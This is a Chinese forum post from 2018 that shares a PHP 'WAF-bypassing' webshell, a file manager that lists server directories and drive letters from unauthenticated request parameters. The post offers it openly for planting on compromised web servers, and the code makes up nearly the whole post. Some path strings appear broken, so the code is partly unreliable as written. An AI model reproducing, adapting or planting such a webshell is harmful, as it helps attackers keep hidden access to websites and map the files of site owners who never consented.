搜索
查看: 5526|回复: 0

过狗shell文件管理

[复制链接]

70

主题

51

回帖

291

积分

中级会员

牛逼的金牌会员

积分
291
QQ
发表于 2018-4-4 20:13:49 | 显示全部楼层 |阅读模式 来自 甘肃
过狗shell代码:
  1. <?
  2. error_reporting(1);
  3. //列目录函数
  4. function dirlist($cd){
  5.         $dh = opendir($cd);
  6.         while($dl = readdir($dh)){
  7.                 $dla[] = $dl;
  8.         }
  9.         foreach($dla as $d){
  10.                 if(!is_file($cd.$d)&&$d!="."){
  11.                         $content.="<a href='?newdir=".$cd.$d."'>".$d."</a>"."<br />";
  12.                 }
  13.         }
  14.         foreach($dla as $d){
  15.                 if(is_file($cd.$d)){
  16.                         $content.=$d."<br />";
  17.                 }
  18.         }
  19.         return $content;
  20. }
  21. //列出盘符函数
  22. function listDisk(){
  23.         $letters = range('b','z');
  24.         foreach($letters as $l){
  25.                 if(is_dir($l.":")){
  26.                         $dlist.= "[<a href='?newdir=".$l.":'>".$l."盘</a>]";
  27.                 }
  28.         }
  29.         echo $dlist;
  30. }
  31. //常量定义
  32. $rd = $_SERVER['DOCUMENT_ROOT'];
  33. $fd = $rd.substr($_SERVER['PHP_SELF'],0,strrpos($_SERVER['PHP_SELF'],"/"));
  34.         
  35.         if(!isset($_REQUEST['action'])){
  36.                 $ac = "dirlist";
  37.         }else{
  38.                 $ac = $_REQUEST['action'];
  39.         }
  40.         if(!isset($_REQUEST['newdir'])){
  41.                 $cd = getcwd()."\";
  42.         }else{
  43.                 $cd = $_REQUEST['newdir']."\";
  44.                 chdir($cd);
  45.                 $cd = getcwd()."\";
  46.         }
  47.         switch($ac){
  48.                 case "dirlist":$content = dirlist($cd);break;
  49.         }
  50. ?>
  51. <html>
  52. <style>
  53. body{
  54.         background-color:#000000;
  55.         color:#FFFFFF;
  56. }
  57. a{
  58.         color:#CC9900;
  59. }
  60. </style>
  61. <body>
  62. <div id="main">
  63.     <div>
  64.     <form name="form1" method="get" action="">
  65.       <label>
  66.       <input name="newdir" type="text" value="<?=$cd?>" size="60">
  67.       </label>
  68.       <label>
  69.       <input type="submit" value="提交">
  70.       </label>
  71.     </form>
  72.     </div>
  73.     <hr color="#FFFFFF" />
  74.   <div id="gongneng">文件目录:[<a href="?newdir=<?=$rd?>">站点根目录</a>][<a href="?newdir=<?=$fd?>">本文件目录</a>]<? listDisk(); ?></div>
  75.         <hr color="#FFFFFF" />
  76.     <div><?=$content?></div>
  77. </div>
  78. </body>
  79. </html>
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表